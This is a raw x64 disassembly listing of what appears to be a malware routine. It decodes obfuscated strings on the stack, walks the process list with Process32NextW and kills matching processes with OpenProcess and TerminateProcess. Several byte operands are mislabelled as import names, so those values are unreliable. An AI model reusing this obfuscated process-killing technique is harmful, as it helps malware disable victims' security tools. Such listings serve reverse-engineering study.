mov byte [rsp + 0x2bc], 1
mov byte [rsp + 0x2bd], 0x3e
mov byte [rsp + 0x2be], 1
mov byte [rsp + 0x2bf], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x2c0], 1
mov byte [rsp + 0x2c1], 8
mov byte [rsp + 0x2c2], 1
mov byte [rsp + 0x2c3], 0x7d
mov byte [rsp + 0x2c4], 1
mov byte [rsp + 0x2c5], 8
mov byte [rsp + 0x2c6], 1
mov byte [rsp + 0x2c7], 1
mov byte [rsp + 0x2c8], 1
mov al, byte [rsp + 0x2b0]
test al, 1
jne 0x140019a33
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x2b0]
movzx ecx, cl
shl ecx, 3
lea ecx, [rcx + rcx*4]
mov edx, 0x28
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x28
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x2b0], cl
add rax, 1
cmp rax, 0x19
jne 0x1400199c0
lea rax, [rsp + 0x2b1]
mov qword [rsp + 0x6e0], rax
mov byte [rsp + 0x290], 0
mov byte [rsp + 0x291], 0x5b
mov byte [rsp + 0x292], 0x50
mov byte [rsp + 0x293], 0x53
mov byte [rsp + 0x294], 0x50
mov byte [rsp + 0x295], 0x75
mov byte [rsp + 0x296], 0x50
mov byte [rsp + 0x297], 0x75
mov byte [rsp + 0x298], 0x50
mov byte [rsp + 0x299], 0x4c
mov byte [rsp + 0x29a], 0x50
mov byte [rsp + 0x29b], 0x7c
mov byte [rsp + 0x29c], 0x50
mov byte [rsp + 0x29d], 0x7c
mov byte [rsp + 0x29e], 0x50
mov byte [rsp + 0x29f], 0x57
mov byte [rsp + 0x2a0], 0x50
mov byte [rsp + 0x2a1], shutdown
mov byte [rsp + 0x2a2], 0x50
mov byte [rsp + 0x2a3], 0x2c
mov byte [rsp + 0x2a4], 0x50
mov byte [rsp + 0x2a5], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x2a6], 0x50
mov byte [rsp + 0x2a7], 0x5b
mov byte [rsp + 0x2a8], 0x50
mov byte [rsp + 0x2a9], reloc.WS2_32.dll_inet_ntoa
mov byte [rsp + 0x2aa], 0x50
mov byte [rsp + 0x2ab], 0x50
mov byte [rsp + 0x2ac], 0x50
mov al, byte [rsp + 0x290]
test al, 1
jne 0x140019bc0
mov eax, 1
nop
movzx ecx, byte [rsp + rax + 0x290]
movzx ecx, cl
mov edx, ecx
shl edx, 5
lea ebx, [rdx + rcx*2]
lea ecx, [rdx + rcx*2]
add ecx, 0xfffff560
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xfffff560
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xfffff560
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rsp + rax + 0x290], cl
add rax, 1
cmp rax, 0x1d
jne 0x140019b40
lea rax, [rsp + 0x291]
mov qword [rsp + 0x6e8], rax
mov rdx, qword [rsp + 0x600]
mov rcx, r13
call r14
mov r12b, 1
test rax, rax
jne 0x140019c1d
xor ebx, ebx
nop dword [rax + rax]
cmp rbx, 0x1d
je 0x140019ea8
mov rdx, qword [rsp + rbx*8 + 0x608]
mov rcx, r13
call r14
add rbx, 1
test rax, rax
je 0x140019bf0
add rbx, 0xffffffffffffffff
cmp rbx, 0x1d
setb r12b
mov byte [rsp + 0x258], 0
mov byte [rsp + 0x259], WSAGetLastError
mov byte [rsp + 0x25a], 0x67
mov byte [rsp + 0x25b], 0x5d
mov byte [rsp + 0x25c], 0x67
mov byte [rsp + 0x25d], 0x62
mov byte [rsp + 0x25e], 0x67
mov byte [rsp + 0x25f], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x260], 0x67
mov byte [rsp + 0x261], 0x4b
mov byte [rsp + 0x262], 0x67
mov byte [rsp + 0x263], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x264], 0x67
mov byte [rsp + 0x265], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x266], 0x67
mov byte [rsp + 0x267], 0x59
mov byte [rsp + 0x268], 0x67
mov byte [rsp + 0x269], 0x4b
mov byte [rsp + 0x26a], 0x67
mov byte [rsp + 0x26b], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x26c], 0x67
mov byte [rsp + 0x26d], 0x54
mov byte [rsp + 0x26e], 0x67
mov byte [rsp + 0x26f], 0x56
mov byte [rsp + 0x270], 0x67
mov byte [rsp + 0x271], WSAGetLastError
mov byte [rsp + 0x272], 0x67
mov byte [rsp + 0x273], 0x62
mov byte [rsp + 0x274], 0x67
mov byte [rsp + 0x275], gethostbyname
mov byte [rsp + 0x276], 0x67
mov byte [rsp + 0x277], 0x66
mov byte [rsp + 0x278], 0x67
mov byte [rsp + 0x279], 0x5d
mov byte [rsp + 0x27a], 0x67
mov byte [rsp + 0x27b], 0x1e
mov byte [rsp + 0x27c], 0x67
mov byte [rsp + 0x27d], 0x1e
mov byte [rsp + 0x27e], 0x67
mov byte [rsp + 0x27f], 0x56
mov byte [rsp + 0x280], 0x67
mov byte [rsp + 0x281], 0
mov byte [rsp + 0x282], 0x67
mov byte [rsp + 0x283], 0x1e
mov byte [rsp + 0x284], 0x67
mov byte [rsp + 0x285], reloc.WS2_32.dll_socket
mov byte [rsp + 0x286], 0x67
mov byte [rsp + 0x287], reloc.WS2_32.dll_socket
mov byte [rsp + 0x288], 0x67
mov byte [rsp + 0x289], reloc.WS2_32.dll_socket
mov byte [rsp + 0x28a], 0x67
mov byte [rsp + 0x28b], 0x67
mov byte [rsp + 0x28c], 0x67
mov al, byte [rsp + 0x258]
test al, 1
jne 0x140019e60
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x258]
movzx ecx, cl
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
lea ebp, [rcx + rdx]
add ebp, 0xfffff4bc
add ecx, edx
movsx edx, bp
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xfffff4bc
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add ecx, edx
add ecx, 0xfffff4bc
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x258], cl
add rax, 1
cmp rax, 0x35
jne 0x140019de0
lea rcx, [rsp + 0x259]
mov rdx, r13
call fcn.14000eec0
test r12b, r12b
je 0x140019eb0
mov r8d, dword [rsp + 0x28]
mov ecx, 1
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
test rax, rax
je 0x140019eb0
mov r12, rax
mov rcx, rax
mov edx, 9
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x140019eb0
cmp rbx, 0x1c
jbe 0x140019e75
nop
mov byte [rsp + 0x3c0], 0
mov byte [rsp + 0x3c1], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x3c2], 8
mov byte [rsp + 0x3c3], WSACleanup
mov byte [rsp + 0x3c4], 8
mov byte [rsp + 0x3c5], 0x5a
mov byte [rsp + 0x3c6], 8
mov byte [rsp + 0x3c7], 0x4e
mov byte [rsp + 0x3c8], 8
mov byte [rsp + 0x3c9], 0x57
mov byte [rsp + 0x3ca], 8
mov byte [rsp + 0x3cb], 0x60
mov byte [rsp + 0x3cc], 8
mov byte [rsp + 0x3cd], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x3ce], 8
mov byte [rsp + 0x3cf], 0x60
mov byte [rsp + 0x3d0], 8
mov byte [rsp + 0x3d1], shutdown
mov byte [rsp + 0x3d2], 8
mov byte [rsp + 0x3d3], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x3d4], 8
mov byte [rsp + 0x3d5], WSACleanup
mov byte [rsp + 0x3d6], 8
mov byte [rsp + 0x3d7], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0x3d8], 8
mov byte [rsp + 0x3d9], 8
mov byte [rsp + 0x3da], 8
mov al, byte [rsp + 0x3c0]
test al, 1
jne 0x14001a01a
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x3c0]
movzx ecx, cl
imul ecx, ecx, 0xffffffd6
mov edx, ecx
add edx, 0x150
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x150
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add ecx, edx
add ecx, 0x150
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x3c0], cl
add rax, 1
cmp rax, 0x1b
jne 0x140019fa0
mov byte [rsp + 0x258], 0
mov byte [rsp + 0x259], 0x42
mov byte [rsp + 0x25a], 0x1f
mov byte [rsp + 0x25b], 0x65
mov byte [rsp + 0x25c], 0x1f
mov byte [rsp + 0x25d], 0x1b
mov byte [rsp + 0x25e], 0x1f
mov byte [rsp + 0x25f], 0x41
mov byte [rsp + 0x260], 0x1f
mov byte [rsp + 0x261], 0x65
mov byte [rsp + 0x262], 0x1f
mov byte [rsp + 0x263], gethostbyname
mov byte [rsp + 0x264], 0x1f
mov byte [rsp + 0x265], 0x54
mov byte [rsp + 0x266], 0x1f
mov byte [rsp + 0x267], 0x66
mov byte [rsp + 0x268], 0x1f
mov byte [rsp + 0x269], 0x76
mov byte [rsp + 0x26a], 0x1f
mov byte [rsp + 0x26b], 0x5c
mov byte [rsp + 0x26c], 0x1f
mov byte [rsp + 0x26d], 0x76
mov byte [rsp + 0x26e], 0x1f
mov byte [rsp + 0x26f], 0x1e
mov byte [rsp + 0x270], 0x1f
mov byte [rsp + 0x271], 0x76
mov byte [rsp + 0x272], 0x1f
mov byte [rsp + 0x273], 0x1f
mov byte [rsp + 0x274], 0x1f
mov al, byte [rsp + 0x258]
test al, 1
jne 0x14001a1a0
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x258]
movzx ecx, cl
lea edx, [rcx*8]
sub edx, ecx
mov ecx, edx
add ecx, 0xffffff27
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xffffff27
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add ecx, edx
add ecx, 0xffffff27
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x258], cl
add rax, 1
cmp rax, 0x1d
jne 0x14001a120
mov byte [rsp + 0x530], 0
mov byte [rsp + 0x531], 0x7e
mov byte [rsp + 0x532], 0x28
mov byte [rsp + 0x533], 0x55
mov byte [rsp + 0x534], 0x28
mov byte [rsp + 0x535], 0x55
mov byte [rsp + 0x536], 0x28
mov byte [rsp + 0x537], 0x46
mov byte [rsp + 0x538], 0x28
mov byte [rsp + 0x539], 0x34
mov byte [rsp + 0x53a], 0x28
mov byte [rsp + 0x53b], 0x69
mov byte [rsp + 0x53c], 0x28
mov byte [rsp + 0x53d], 0x79
mov byte [rsp + 0x53e], 0x28
mov byte [rsp + 0x53f], 0x69
mov byte [rsp + 0x540], 0x28
mov byte [rsp + 0x541], 0x28
mov byte [rsp + 0x542], 0x28
mov al, byte [rsp + 0x530]
test al, 1
jne 0x14001a2ce
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x530]
movzx ecx, cl
lea ecx, [rcx + rcx*4]
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rcx*4]
add ecx, 0xfffffc18
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffffc18
movzx ecx, cx
mov ebp, ecx
shr ebp, 0xf
shr ecx, 6
add ecx, ebp
mov ebp, ecx
shl ebp, 7
sub ecx, ebp
add ecx, edx
add ecx, 0xfffffc18
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x530], cl
add rax, 1
cmp rax, 0x13
jne 0x14001a250
mov byte [rsp + 0x348], 0
mov byte [rsp + 0x349], WSAGetLastError
mov byte [rsp + 0x34a], 0x4d
mov byte [rsp + 0x34b], 6
mov byte [rsp + 0x34c], 0x4d
mov byte [rsp + 0x34d], reloc.WS2_32.dll_WSACleanup
mov byte [rsp + 0x34e], 0x4d
mov byte [rsp + 0x34f], 0x27
mov byte [rsp + 0x350], 0x4d
mov byte [rsp + 0x351], 0x4b
mov byte [rsp + 0x352], 0x4d
mov byte [rsp + 0x353], gethostbyname
mov byte [rsp + 0x354], 0x4d
mov byte [rsp + 0x355], 0
mov byte [rsp + 0x356], 0x4d
mov byte [rsp + 0x357], gethostbyname
mov byte [rsp + 0x358], 0x4d
mov byte [rsp + 0x359], 0x4d
mov byte [rsp + 0x35a], 0x4d
mov al, byte [rsp + 0x348]
test al, 1
jne 0x14001a3fa
mov eax, 1
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x348]
movzx ecx, cl
imul ecx, ecx, 0xffffffe9
mov edx, ecx
add edx, 0x6eb
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x6eb
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add ecx, edx
add ecx, 0x6eb
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x348], cl
add rax, 1
cmp rax, 0x13
jne 0x14001a380
mov byte [rsp + 0x4d0], 0
mov byte [rsp + 0x4d1], 0x32
mov byte [rsp + 0x4d2], 0x3a
mov byte [rsp + 0x4d3], 0x34
mov byte [rsp + 0x4d4], 0x3a
mov byte [rsp + 0x4d5], 0x7c
mov byte [rsp + 0x4d6], 0x3a
mov byte [rsp + 0x4d7], 0x55
mov byte [rsp + 0x4d8], 0x3a
mov byte [rsp + 0x4d9], 5
mov byte [rsp + 0x4da], 0x3a
mov byte [rsp + 0x4db], 0x32
mov byte [rsp + 0x4dc], 0x3a
mov byte [rsp + 0x4dd], 0x5d
mov byte [rsp + 0x4de], 0x3a
mov byte [rsp + 0x4df], 4
mov byte [rsp + 0x4e0], 0x3a
mov byte [rsp + 0x4e1], 0x53
mov byte [rsp + 0x4e2], 0x3a
mov byte [rsp + 0x4e3], 0xb
mov byte [rsp + 0x4e4], 0x3a
mov byte [rsp + 0x4e5], 0x53
mov byte [rsp + 0x4e6], 0x3a
mov byte [rsp + 0x4e7], 0x3a
mov byte [rsp + 0x4e8], 0x3a
mov al, byte [rsp + 0x4d0]
test al, 1
jne 0x14001a55a
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x4d0]
movzx ecx, cl
imul ecx, ecx, 0xffffffc2
mov edx, ecx
add edx, 0xe0c
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xe0c
movzx edx, dx
mov ebp, edx
shr ebp, 0xf
shr edx, 6
add edx, ebp
mov ebp, edx
shl ebp, 7
sub edx, ebp
add ecx, edx
add ecx, 0xe0c
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x4d0], cl
add rax, 1
cmp rax, 0x19
jne 0x14001a4e0
mov byte [rsp + 0x600], 0
mov byte [rsp + 0x601], 0x3d
mov byte [rsp + 0x602], 0x19
mov byte [rsp + 0x603], 0x20
mov byte [rsp + 0x604], 0x19
mov byte [rsp + 0x605], 0x79
mov byte [rsp + 0x606], 0x19
mov byte [rsp + 0x607], 0x6c
mov byte [rsp + 0x608], 0x19
mov byte [rsp + 0x609], 0x50
mov byte [rsp + 0x60a], 0x19
mov byte [rsp + 0x60b], 0x46
mov byte [rsp + 0x60c], 0x19
mov byte [rsp + 0x60d], 0x20
mov byte [rsp + 0x60e], 0x19
mov byte [rsp + 0x60f], 0x4c
mov byte [rsp + 0x610], 0x19
mov byte [rsp + 0x611], 0x20
mov byte [rsp + 0x612], 0x19
mov byte [rsp + 0x613], 0x5c
mov byte [rsp + 0x614], 0x19
mov byte [rsp + 0x615], 0x51
mov byte [rsp + 0x616], 0x19
mov byte [rsp + 0x617], 0x20
mov byte [rsp + 0x618], 0x19
mov byte [rsp + 0x619], 0x16
mov byte [rsp + 0x61a], 0x19
mov byte [rsp + 0x61b], 0x20
mov byte [rsp + 0x61c], 0x19
mov byte [rsp + 0x61d], 0x19
mov byte [rsp + 0x61e], 0x19
mov al, byte [rsp + 0x600]
test al, 1
jne 0x14001a6e8
mov eax, 1
nop word cs:[rax + rax]
movzx ecx, byte [rsp + rax + 0x600]
movzx ecx, cl
shl ecx, 3
lea ecx, [rcx + rcx*4]
mov edx, 0x3e8
sub edx, ecx
movsx ebp, dx
imul ebp, ebp, 0xffff8103
shr ebp, 0x10
add ebp, edx
movzx ebp, bp
mov edx, ebp
shr edx, 0xf
shr ebp, 6
add ebp, edx
mov edx, ebp
shl edx, 7
add edx, ecx
sub ebp, edx
add ebp, 0x3e8
add bpl, 0x7f
movzx ecx, bpl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x600], cl
add rax, 1
cmp rax, 0x1f
jne 0x14001a670
mov rcx, r13
mov rdx, r15
call r14
test rax, rax
jne 0x14001a760
mov rcx, r13
lea rdx, [rsp + 0x259]
call r14
test rax, rax
jne 0x14001a760
mov rcx, r13
lea rdx, [rsp + 0x531]
call r14
test rax, rax
jne 0x14001a760
mov rcx, r13
lea rdx, [rsp + 0x349]
call r14
test rax, rax
jne 0x14001a760
mov rcx, r13
lea rdx, [rsp + 0x4d1]
call r14
test rax, rax
jne 0x14001a760
mov rcx, r13
lea rdx, [rsp + 0x601]
call r14
test rax, rax
je 0x14001aa16
nop dword [rax]
mov byte [rsp + 0x600], 0
mov byte [rsp + 0x601], 0x3f
mov byte [rsp + 0x602], 0x14
mov byte [rsp + 0x603], 8
mov byte [rsp + 0x604], 0x14
mov byte [rsp + 0x605], 8
mov byte [rsp + 0x606], 0x14
mov byte [rsp + 0x607], 6
mov byte [rsp + 0x608], 0x14
mov byte [rsp + 0x609], 0x6b
mov byte [rsp + 0x60a], 0x14
mov byte [rsp + 0x60b], 0x39
mov byte [rsp + 0x60c], 0x14
mov byte [rsp + 0x60d], 6
mov byte [rsp + 0x60e], 0x14
mov byte [rsp + 0x60f], 1
mov byte [rsp + 0x610], 0x14
mov byte [rsp + 0x611], 0x1b
mov byte [rsp + 0x612], 0x14
mov byte [rsp + 0x613], 6
mov byte [rsp + 0x614], 0x14
mov byte [rsp + 0x615], 0x62
mov byte [rsp + 0x616], 0x14
mov byte [rsp + 0x617], 0x71
mov byte [rsp + 0x618], 0x14
mov byte [rsp + 0x619], 0x1b
mov byte [rsp + 0x61a], 0x14
mov byte [rsp + 0x61b], 0x40
mov byte [rsp + 0x61c], 0x14
mov byte [rsp + 0x61d], 0x4f
mov byte [rsp + 0x61e], 0x14
mov byte [rsp + 0x61f], 0x39
mov byte [rsp + 0x620], 0x14
mov byte [rsp + 0x621], 0x39
mov byte [rsp + 0x622], 0x14
mov byte [rsp + 0x623], 6
mov byte [rsp + 0x624], 0x14
mov byte [rsp + 0x625], 0x57
mov byte [rsp + 0x626], 0x14
mov byte [rsp + 0x627], 0x26
mov byte [rsp + 0x628], 0x14
mov byte [rsp + 0x629], 0x6d
mov byte [rsp + 0x62a], 0x14
mov byte [rsp + 0x62b], 1
mov byte [rsp + 0x62c], 0x14
mov byte [rsp + 0x62d], 0x4f
mov byte [rsp + 0x62e], 0x14
mov byte [rsp + 0x62f], 0x44
mov byte [rsp + 0x630], 0x14
mov byte [rsp + 0x631], 0x6d
mov byte [rsp + 0x632], 0x14
mov byte [rsp + 0x633], 0x39
mov byte [rsp + 0x634], 0x14
mov byte [rsp + 0x635], 1
mov byte [rsp + 0x636], 0x14
mov byte [rsp + 0x637], 0x6f
mov byte [rsp + 0x638], 0x14
mov byte [rsp + 0x639], 0x14
mov byte [rsp + 0x63a], 0x14
mov al, byte [rsp + 0x600]
test al, 1
jne 0x14001a9d0
mov eax, 1
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x600]
movzx ecx, cl
mov edx, ecx
shl edx, 5
lea ebp, [rdx + rcx*2]
lea ecx, [rdx + rcx*2]
add ecx, 0xfffffd58
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebp
add ecx, 0xfffffd58
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebp
add ecx, 0xfffffd58
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebp, bl
mov edx, ebp
shl edx, 7
sub edx, ebp
sub cl, dl
mov byte [rsp + rax + 0x600], cl
add rax, 1
cmp rax, 0x3b
jne 0x14001a950
lea rcx, [rsp + 0x601]
mov rdx, r13
call fcn.14000eec0
mov ecx, 0x18
call fcn.140036d20
test rax, rax
je 0x14001aa2b
movaps xmmword [rax], xmm6
mov ecx, dword [rsp + 0x28]
mov dword [rax], ecx
mov rcx, rax
add rcx, 8
mov qword [rax + 8], 0
mov rdx, qword [rsi + 8]
mov qword [rax + 0x10], rdx
mov qword [rdx], rax
mov qword [rsi + 8], rcx
mov rcx, rdi
lea rdx, [rsp + 0x20]
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0x140016f90
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rsp + 0x6f8]
xor rcx, rsp
call fcn.140031ee0
movaps xmm6, xmmword [rsp + 0x700]
add rsp, 0x718
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret